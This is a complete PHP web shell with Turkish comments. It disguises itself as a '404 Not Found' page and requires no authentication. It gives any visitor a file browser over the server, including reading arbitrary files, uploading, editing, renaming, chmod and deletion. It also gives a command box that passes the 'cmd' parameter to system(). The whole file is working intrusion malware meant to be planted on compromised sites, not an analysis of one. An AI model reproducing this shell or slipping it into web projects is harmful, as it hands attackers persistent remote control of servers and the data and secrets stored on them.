<?php
set_time_limit(0);
error_reporting(0);

$style = base64_decode('
Ym9keXsKICAgIGZvbnQtZmFtaWx5OiAiUmFjaW5nIFNhbnMgT25lIiwgY3Vyc2l2ZTsKICAgIGJhY2tncm91bmQtY29sb3I6ICNlNmU2ZTY7CiAgICB0ZXh0LXNoYWRvdzowcHggMHB4IDFweCAjNzU3NTc1Owp9CiNjb250ZW50IHRyOmhvdmVyewogICAgYmFja2dyb3VuZC1jb2xvcjogIzYzNjI2MzsKICAgIHRleHQtc2hhZG93OjBweCAwcHggMTBweCAjZmZmOwp9CiNjb250ZW50IC5maXJzdHsKICAgIGJhY2tncm91bmQtY29sb3I6IHNpbHZlcjsKfQojY29udGVudCAuZmlyc3Q6aG92ZXJ7CiAgICBiYWNrZ3JvdW5kLWNvbG9yOiBzaWx2ZXI7CiAgICB0ZXh0LXNoYWRvdzowcHggMHB4IDFweCAjNzU3NTc1Owp9CnRhYmxlewogICAgYm9yZGVyOiAxcHggIzAwMDAwMCBkb3R0ZWQ7Cn0KSDF7CiAgICBmb250LWZhbWlseTogIlJ5ZSIsIGN1cnNpdmU7Cn0KYXsKICAgIGNvbG9yOiAjMDAwOwogICAgdGV4dC1kZWNvcmF0aW9uOiBub25lOwp9CmE6aG92ZXJ7CiAgICBjb2xvcjogI2ZmZjsKICAgIHRleHQtc2hhZG93OjBweCAwcHggMTBweCAjZmZmZmZmOwp9CmlucHV0LHNlbGVjdCx0ZXh0YXJlYXsKICAgIGJvcmRlcjogMXB4ICMwMDAwMDAgc29saWQ7CiAgICAtbW96LWJvcmRlci1yYWRpdXM6IDVweDsKICAgIC13ZWJraXQtYm9yZGVyLXJhZGl1czo1cHg7CiAgICBib3JkZXItcmFkaXVzOjVweDsKfQoucHJlLW91dHB1dCB7CiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMjgyODI4OwogICAgY29sb3I6ICNmZmY7CiAgICBmb250LWZhbWlseTogbW9ub3NwYWNlOwogICAgcGFkZGluZzogMTBweDsKICAgIGJvcmRlci1yYWRpdXM6IDRweDsKICAgIG92ZXJmbG93LXg6IGF1dG87CiAgICB3aGl0ZS1zcGFjZTogcHJlOwogICAgbWFyZ2luOiAxMHB4IDA7Cn0=');

echo '<!DOCTYPE HTML>
<HTML>
<HEAD>
    <title>' . htmlspecialchars('404 Not Found') . '</title>
    <style>' . $style . '</style>
</HEAD>
<BODY>
<H1><center>' . htmlspecialchars('black') . '</center></H1>';

if(isset($_GET['path'])){
    $path = realpath($_GET['path']);
}else{
    $path = realpath(getcwd());
}

echo '<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>Current Path : ';

$path = str_replace('\\','/',$path);
$paths = explode('/',$path);

foreach($paths as $id=>$pat){
    $pat = htmlspecialchars($pat);
    if($pat == '' && $id == 0){
        echo '<a href="?path=/">/</a>';
        continue;
    }
    if($pat == '') continue;
    echo '<a href="?path=';
    for($i=0;$i<=$id;$i++){
        echo htmlspecialchars($paths[$i]);
        if($i != $id) echo "/";
    }
    echo '">' . $pat . '</a>/';
}

echo '</td></tr><tr><td>';

// Dosya Upload B�l�m�
if(isset($_FILES['file'])){
    $upload_path = realpath($path) . '/' . basename($_FILES['file']['name']);
    if(move_uploaded_file($_FILES['file']['tmp_name'], $upload_path)){
        echo '<font color="green">' . htmlspecialchars('File Upload Success.') . '</font><br />';
    }else{
        echo '<font color="red">' . htmlspecialchars('File Upload Error.') . '</font><br />';
    }
}

echo '<form enctype="multipart/form-data" method="POST">
<input type="file" name="file" />
<input type="submit" value="' . htmlspecialchars('Upload') . '" />
</form>
</td></tr>';

// Dosya ��erik G�r�nt�leme
if(isset($_GET['filesrc'])){
    $file = realpath($_GET['filesrc']);
    echo "<tr><td>Current File : " . htmlspecialchars($file);
    echo '</tr></td></table><br />';
    echo '<pre>' . htmlspecialchars(file_get_contents($file)) . '</pre>';
}

// Dosya/Klas�r �lemleri
elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
    echo '</table><br /><center>' . htmlspecialchars($_POST['path']) . '<br /><br />';

    if($_POST['opt'] == 'chmod'){
        $file = realpath($_POST['path']);
        if(isset($_POST['perm'])){
            if(@chmod($file, octdec($_POST['perm']))){
                echo '<font color="green">' . htmlspecialchars('Change Permission Success.') . '</font><br />';
            }else{
                echo '<font color="red">' . htmlspecialchars('Change Permission Error.') . '</font><br />';
            }
        }
        echo '<form method="POST">
        Permission : <input name="perm" type="text" size="4" value="' . 
        substr(sprintf('%o', fileperms($file)), -4) . '" />
        <input type="hidden" name="path" value="' . htmlspecialchars($_POST['path']) . '">
        <input type="hidden" name="opt" value="chmod">
        <input type="submit" value="Go" />
        </form>';
    }
    elseif($_POST['opt'] == 'rename'){
        $file = realpath($_POST['path']);
        $newname = htmlspecialchars($_POST['newname']);
        $newPath = $path . '/' . $newname;
        if(isset($_POST['newname'])){
            if(rename($file,$newPath)){
                echo '<font color="green">' . htmlspecialchars('Change Name Done.') . '</font><br />';
            }else{
                echo '<font color="red">' . htmlspecialchars('Change Name Error.') . '</font><br />';
            }
            $_POST['name'] = $newname;
        }
        echo '<form method="POST">
        New Name : <input name="newname" type="text" size="20" value="' . $_POST['name'] . '" />
        <input type="hidden" name="path" value="' . htmlspecialchars($_POST['path']) . '">
        <input type="hidden" name="opt" value="rename">
        <input type="submit" value="Go" />
        </form>';
    }
    elseif($_POST['opt'] == 'edit'){
        $file = realpath($_POST['path']);
        if(isset($_POST['src'])){
            $fp = fopen($file,'w');
            if(fwrite($fp,$_POST['src'])){
                echo '<font color="green">' . htmlspecialchars('Edit File Done.') . '</font><br />';
            }else{
                echo '<font color="red">' . htmlspecialchars('Edit File Error.') . '</font><br />';
            }
            fclose($fp);
        }
        echo '<form method="POST">
        <textarea cols=80 rows=20 name="src">' . htmlspecialchars(file_get_contents($file)) . '</textarea><br />
        <input type="hidden" name="path" value="' . htmlspecialchars($_POST['path']) . '">
        <input type="hidden" name="opt" value="edit">
        <input type="submit" value="Save" />
        </form>';
    }

    echo '</center>';
}

else{
    echo '</table><br /><center>';

    // Silme �lemi
    if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
        $file = realpath($_POST['path']);
        if($_POST['type'] == 'dir'){
            if(rmdir($file)){
                echo '<font color="green">' . htmlspecialchars('Delete Dir Done.') . '</font><br />';
            }else{
                echo '<font color="red">' . htmlspecialchars('Delete Dir Error.') . '</font><br />';
            }
        }
        elseif($_POST['type'] == 'file'){
            if(unlink($file)){
                echo '<font color="green">' . htmlspecialchars('Delete File Done.') . '</font><br />';
            }else{
                echo '<font color="red">' . htmlspecialchars('Delete File Error.') . '</font><br />';
            }
        }
    }

    echo '</center>';

    // Dosya ve Klas�rleri Listeleme
    $scandir = scandir($path);
    echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
    <tr class="first">
        <td><center>' . htmlspecialchars('Name') . '</center></td>
        <td><center>' . htmlspecialchars('Size') . '</center></td>
        <td><center>' . htmlspecialchars('Permissions') . '</center></td>
        <td><center>' . htmlspecialchars('Options') . '</center></td>
    </tr>';

    // Klas�rleri Listeleme
    foreach($scandir as $dir){
        if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
        echo "<tr>
        <td><a href=\"?path=" . htmlspecialchars("$path/$dir") . "\">" . htmlspecialchars($dir) . "</a></td>
        <td><center>--</center></td>
        <td><center>";
        if(is_writable("$path/$dir")) echo '<font color="green">';
        elseif(!is_readable("$path/$dir")) echo '<font color="red">';
        echo perms("$path/$dir");
        if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';

        echo "</center></td>
        <td><center><form method=\"POST\" action=\"?option&path=" . htmlspecialchars($path) . "\">
        <select name=\"opt\">
            <option value=\"\"></option>
            <option value=\"delete\">Delete</option>
            <option value=\"chmod\">Chmod</option>
            <option value=\"rename\">Rename</option>
        </select>
        <input type=\"hidden\" name=\"type\" value=\"dir\">
        <input type=\"hidden\" name=\"name\" value=\"" . htmlspecialchars($dir) . "\">
        <input type=\"hidden\" name=\"path\" value=\"" . htmlspecialchars("$path/$dir") . "\">
        <input type=\"submit\" value=\">\" />
        </form></center></td>
        </tr>";
    }

    // Dosyalar� Listeleme
    echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
    foreach($scandir as $file){
        if(!is_file("$path/$file")) continue;
        $size = filesize("$path/$file")/1024;
        $size = round($size,3);
        if($size >= 1024){
            $size = round($size/1024,2).' MB';
        }else{
            $size = $size.' KB';
        }

        echo "<tr>
        <td><a href=\"?filesrc=" . htmlspecialchars("$path/$file") . "&path=" . htmlspecialchars($path) . "\">" . htmlspecialchars($file) . "</a></td>
        <td><center>".$size."</center></td>
        <td><center>";
        if(is_writable("$path/$file")) echo '<font color="green">';
        elseif(!is_readable("$path/$file")) echo '<font color="red">';
        echo perms("$path/$file");
        if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
        echo "</center></td>
        <td><center><form method=\"POST\" action=\"?option&path=" . htmlspecialchars($path) . "\">
        <select name=\"opt\">
            <option value=\"\"></option>
            <option value=\"delete\">Delete</option>
            <option value=\"chmod\">Chmod</option>
            <option value=\"rename\">Rename</option>
            <option value=\"edit\">Edit</option>
        </select>
        <input type=\"hidden\" name=\"type\" value=\"file\">
        <input type=\"hidden\" name=\"name\" value=\"" . htmlspecialchars($file) . "\">
        <input type=\"hidden\" name=\"path\" value=\"" . htmlspecialchars("$path/$file") . "\">
        <input type=\"submit\" value=\">\" />
        </form></center></td>
        </tr>";
    }

    echo '</table></div>';
}

// Komut �al��t�rma B�l�m�
echo '<div style="margin-top: 20px; text-align: center;">
<h3>' . htmlspecialchars('Command Execution') . '</h3>
<form method="GET">
    <input type="TEXT" name="cmd" autofocus id="cmd" size="80" placeholder="Enter command...">
    <input type="submit" value="' . htmlspecialchars('Execute') . '">
</form>
<div class="pre-output">';

if(isset($_GET['cmd'])) {
    $cmd = escapeshellcmd($_GET['cmd']);
    ob_start();
    system($cmd . ' 2>&1');
    $output = ob_get_clean();
    echo htmlspecialchars($output);
}

echo '</div></div>';

// �zinleri Kontrol Eden Fonksiyon
function perms($file){
    $perms = fileperms($file);

    if (($perms & 0xC000) == 0xC000) {
        $info = 's';
    } 
    elseif (($perms & 0xA000) == 0xA000) {
        $info = 'l';
    } 
    elseif (($perms & 0x8000) == 0x8000) {
        $info = '-';
    } 
    elseif (($perms & 0x6000) == 0x6000) {
        $info = 'b';
    } 
    elseif (($perms & 0x4000) == 0x4000) {
        $info = 'd';
    } 
    elseif (($perms & 0x2000) == 0x2000) {
        $info = 'c';
    } 
    elseif (($perms & 0x1000) == 0x1000) {
        $info = 'p';
    } 
    else {
        $info = 'u';
    }

    // Owner
    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ?
    (($perms & 0x0800) ? 's' : 'x' ) :
    (($perms & 0x0800) ? 'S' : '-'));

    // Group
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ?
    (($perms & 0x0400) ? 's' : 'x' ) :
    (($perms & 0x0400) ? 'S' : '-'));

    // World
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ?
    (($perms & 0x0200) ? 't' : 'x' ) :
    (($perms & 0x0200) ? 'T' : '-'));

    return $info;
}

echo '<br />' . htmlspecialchars('404') . '<font color="red">1.0</font> ' . 
     htmlspecialchars('NOT') . ' <font color="red">' . htmlspecialchars('FOUND') . '</font>';
echo '</BODY></HTML>';
?>